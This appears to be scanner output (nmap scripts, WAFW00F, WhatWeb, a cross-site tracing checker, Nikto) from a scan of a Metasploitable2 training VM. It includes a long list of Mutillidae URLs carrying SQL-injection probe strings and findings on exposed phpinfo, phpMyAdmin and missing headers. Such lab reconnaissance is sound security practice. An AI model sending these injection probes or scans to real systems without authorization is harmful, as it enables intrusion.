| http://192.168.1.113/mutillidae/././index.php?page=user%2dpoll%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?username=anonymous&page=password%2dgenerator%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=set%2dbackground%2dcolor%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=dns%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=site%2dfooter%2dxss%2ddiscussion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fvulnerabilities%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=pen%2dtest%2dtool%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=change%2dlog%2ehtm&do=toggle%2dhints%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=framing%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dpoll%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=arbitrary%2dfile%2dinclusion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=change%2dlog%2ehtm&do=toggle%2dsecurity%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=secret%2dadministrative%2dpages%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=browser%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=home%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?username=anonymous&page=password%2dgenerator%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=set%2dbackground%2dcolor%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=secret%2dadministrative%2dpages%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=dns%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=site%2dfooter%2dxss%2ddiscussion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fvulnerabilities%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=pen%2dtest%2dtool%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=arbitrary%2dfile%2dinclusion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=framing%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dpoll%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=home%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=browser%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?username=anonymous&page=password%2dgenerator%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=home%2ephp&do=toggle%2dhints%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=framing%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=set%2dbackground%2dcolor%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=home%2ephp&do=toggle%2dsecurity%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=php%2derrors%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=usage%2dinstructions%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=dns%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=site%2dfooter%2dxss%2ddiscussion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=pen%2dtest%2dtool%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fvulnerabilities%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=notes%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dpoll%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=arbitrary%2dfile%2dinclusion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=secret%2dadministrative%2dpages%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=browser%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=home%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=documentation%2fvulnerabilities%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=browser%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?username=anonymous&page=password%2dgenerator%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=home%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=dns%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=documentation%2fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=framing%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=secret%2dadministrative%2dpages%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=arbitrary%2dfile%2dinclusion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=site%2dfooter%2dxss%2ddiscussion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=user%2dpoll%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=pen%2dtest%2dtool%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=set%2dbackground%2dcolor%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|http-trace: TRACE is enabled
| http-useragent-tester:
|
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)
| libwww
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
| WWW-Mechanize/1.34
|
MAC Address: 00:0C:29:0E:B0:99 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 59.81 seconds
^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://192.168.1.113 Generic Detection results: No WAF detected by the generic detection Number of requests: 13
http://192.168.1.113 [200] Apache[2.2.8], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.2.8 (Ubuntu) DAV/2], IP[192.168.1.113], PHP[5.2.4-2ubuntu5.10], Title[Metasploitable2 - Linux], WebDAV[2], X-Powered-By[PHP/5.2.4-2ubuntu5.10]
__ ______ _____
\ \/ / ___|_ _|
\ /\___ \ | |
/ \ ___) || |
/_/\_|____/ |_|
- -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
- -- --=[Target: 192.168.1.113:80
- -- --=[Site vulnerable to Cross-Site Tracing!
- -- --=[Site is vulnerable to host header injection!
- -- --=[Site vulnerable to Cross-Frame Scripting!
- -- --=[Site vulnerable to Clickjacking!
HTTP/1.1 200 OK Date: Sat, 05 Sep 2015 12:35:21 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Transfer-Encoding: chunked Content-Type: message/http
4b TRACE / HTTP/1.1 Test: Host: 192.168.1.113
0
HTTP/1.1 200 OK Date: Sat, 05 Sep 2015 12:35:21 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By: PHP/5.2.4-2ubuntu5.10 Content-Length: 891 Content-Type: text/html
<html><head></head>_ _ _ _ _ _ _____ __ ___ | | __ _ ___ _ __ | | ___ () | __ | |_ | | | \ | '_
_ \ / _ \ __/ _/ | ' | |/ _ | | / ` | ' | |/ _ \ ) | | | | | | | / || (| _ \ |) | | () | | || (| | |) | | // / || || |_|_|__,|/ ./|_|_/||__,|_./|_|_|____| |_|Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
- TWiki
- phpMyAdmin
- Mutillidae
- DVWA
-
-- --=[Checking if X-Content options are enabled on 192.168.1.113...
-
-- --=[Checking if X-Frame options are enabled on 192.168.1.113...
-
-- --=[Checking if X-XSS-Protection header is enabled on 192.168.1.113...
-
-- --=[Checking HTTP methods on 192.168.1.113...
-
-- --=[Checking if TRACE method is enabled on 192.168.1.113...
-
-- --=[Checking for open proxy on 192.168.1.113...
Not Found
The requested URL /.testing/openproxy.txt was not found on this server.
Apache/2.2.8 (Ubuntu) DAV/2 Server at crowdshield.com Port 80 </html>
-
-- --=[Enumerating software on 192.168.1.113... Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By: PHP/5.2.4-2ubuntu5.10
-
-- --=[Checking if Strict-Transport-Security is enabled on 192.168.1.113...
-
-- --=[Checking for Flash cross-domain policy on 192.168.1.113...
Not Found
The requested URL /crossdomain.xml was not found on this server.
Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.1.113 Port 80 </html>
- -- --=[Checking for Silverlight cross-domain policy on 192.168.1.113...
Not Found
The requested URL /clientaccesspolicy.xml was not found on this server.
Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.1.113 Port 80 </html>
-
-- --=[Checking for HTML5 cross-origin resource sharing on 192.168.1.113...
-
-- --=[Retrieving robots.txt on 192.168.1.113...
Not Found
The requested URL /robots.txt was not found on this server.
Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.1.113 Port 80 </html>
- -- --=[Retrieving sitemap.xml on 192.168.1.113...
Not Found
The requested URL /sitemap.xml was not found on this server.
Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.1.113 Port 80 </html>
- -- --=[Checking cookie attributes on 192.168.1.113...
- Nikto v2.1.6
- Target IP: 192.168.1.113
- Target Hostname: 192.168.1.113
- Target Port: 80
- Start Time: 2015-09-06 17:28:59 (GMT-4)
- Server: Apache/2.2.8 (Ubuntu) DAV/2
- Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- Uncommon header 'tcn' found, with contents: list
- Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
- Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
- Web Server returns a valid response with junk HTTP methods, this may cause false positives.
- OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
- /phpinfo.php?VARIABLE=: Output from the phpinfo() function was found.
- OSVDB-3268: /doc/: Directory indexing found.
- OSVDB-48: /doc/: The /doc/ directory is browsable. This may be /usr/doc.
- OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- OSVDB-3092: /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- Server leaks inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008
- OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
- OSVDB-3268: /test/: Directory indexing found.
- OSVDB-3092: /test/: This might be interesting...
- /phpinfo.php: Output from the phpinfo() function was found.
- OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
- OSVDB-3268: /icons/: Directory indexing found.
- /phpinfo.php?GLOBALS[test]=: Output from the phpinfo() function was found.
- /phpinfo.php?cx[]=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